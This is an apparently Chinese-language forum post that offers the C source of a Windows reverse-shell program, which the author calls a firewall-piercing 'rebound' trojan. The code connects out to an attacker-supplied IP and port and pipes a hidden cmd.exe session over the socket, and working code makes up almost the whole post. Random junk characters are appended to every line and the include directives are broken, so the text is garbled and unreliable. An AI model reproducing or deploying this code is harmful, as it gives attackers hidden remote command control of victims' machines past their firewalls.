这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b*qC
<^jW
/* ============================== o#&;,9
Rebound port in Windows NT ^)/oDyO
By wind,2006/7 eTa[~esu.
===============================*/ [ 5kaF"
#include <?iwi[S
#include *YY:JLe
lV !@h}mG
#pragma comment(lib,"wsock32.lib") +2]{%=
w-MnJ(r
void OutputShell(); ;-65~i0Iu
SOCKET sClient; Y3I+TI>x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I"+;L4o `
c=HL
6v<
void main(int argc,char **argv) f_Q_qckB%x
{ WAcQRa~C
WSADATA stWsaData; 2myHn/%C
int nRet; Z$5@r2d)
SOCKADDR_IN stSaiClient,stSaiServer; x:Kca3p v_
"ealYveu
if(argc != 3) P/FO, S-V
{ #fYz367>
printf("Useage:\n\rRebound DestIP DestPort\n"); bKH8/*Yk
return; /CN^">|_
} cB7=4:U
GP/3r[MH
WSAStartup(MAKEWORD(2,2),&stWsaData); N8l(m5Kk,k
';!02=-@
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5lC "10
GVp2|\-L
stSaiClient.sin_family = AF_INET; t=ry\h{Pc
stSaiClient.sin_port = htons(0); < F Cr
L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O<h`[1eUjS
X/nb7_M
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m:~s6c6H
{ EmR#)c~(W
printf("Bind Socket Failed!\n"); ?<slB>8
return; `+QrgtcEy4
} Ip4SdbU
PF-
sb&q
stSaiServer.sin_family = AF_INET; ,*V{gpC7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !g~xn2m$R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |&TRN1
l>M&S^/s j
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <H~ (iQ
{ ZUMzWK5Th
printf("Connect Error!"); T{j&w% (z
return; _>*$%R
} A_@#V)D2
OutputShell(); LE!3'^Zq
} E-irB/0
@hWt.qO3s
void OutputShell() {j
E}mzi
{ B;':Eaa@
char szBuff[1024]; ^YKEc0"w(
SECURITY_ATTRIBUTES stSecurityAttributes; }45&s9m=
OSVERSIONINFO stOsversionInfo; Ydu=Jg5u7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Qp${/
STARTUPINFO stStartupInfo; sEL[d2oO
char *szShell; 'on, YEp
PROCESS_INFORMATION stProcessInformation; @&d/}Mx"t
unsigned long lBytesRead; Jh[fFg]
*Oo2rk nQ
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C=AX{sn
[N925?--S
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y]nY.5irL
stSecurityAttributes.lpSecurityDescriptor = 0; e2%Y8ZJG.
stSecurityAttributes.bInheritHandle = TRUE; 4>>d
"<}C
>kK
?+b )=Z
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g(MeCoCc
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6P!M+PO
dM 7-,9Vc
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vo"\nj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ey3i((L
stStartupInfo.wShowWindow = SW_HIDE; Ssr
P
stStartupInfo.hStdInput = hReadPipe; 6546"sU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;e_n7>'#%
^'C1VQ%
GetVersionEx(&stOsversionInfo); ;
eq^m,oz
)}7rM6hv
switch(stOsversionInfo.dwPlatformId) }S$]MY,*
{ Wgdij11e
case 1: j#0@%d
szShell = "command.com"; &B7X LO[
break; q?{wRBVVB
default: 0\Qqv7>
szShell = "cmd.exe"; Je+z\eT!5<
break;
!5Kv9P79
} pl V]hu27K
.QzHHW4&0
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *9((b;Ju
Yyby 1
send(sClient,szMsg,77,0); QkwBw^'_5
while(1) 7\K=8G
{ 3j(GcR9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z6b!,lp
if(lBytesRead) <`b)56v:+
{ U*=ebZno
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9=~"^dp54%
send(sClient,szBuff,lBytesRead,0); Y_)!U`>N?
} c:4M|t=
else *K'(t
{ `$7j:<c=
lBytesRead=recv(sClient,szBuff,1024,0); x\GCsVy
if(lBytesRead<=0) break; f 6Bx>lh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ; 7[5%xM
} +hRAU@RA
} *obBo6!zM
^c!"*L0E
return; ;dNKe.`Dg
}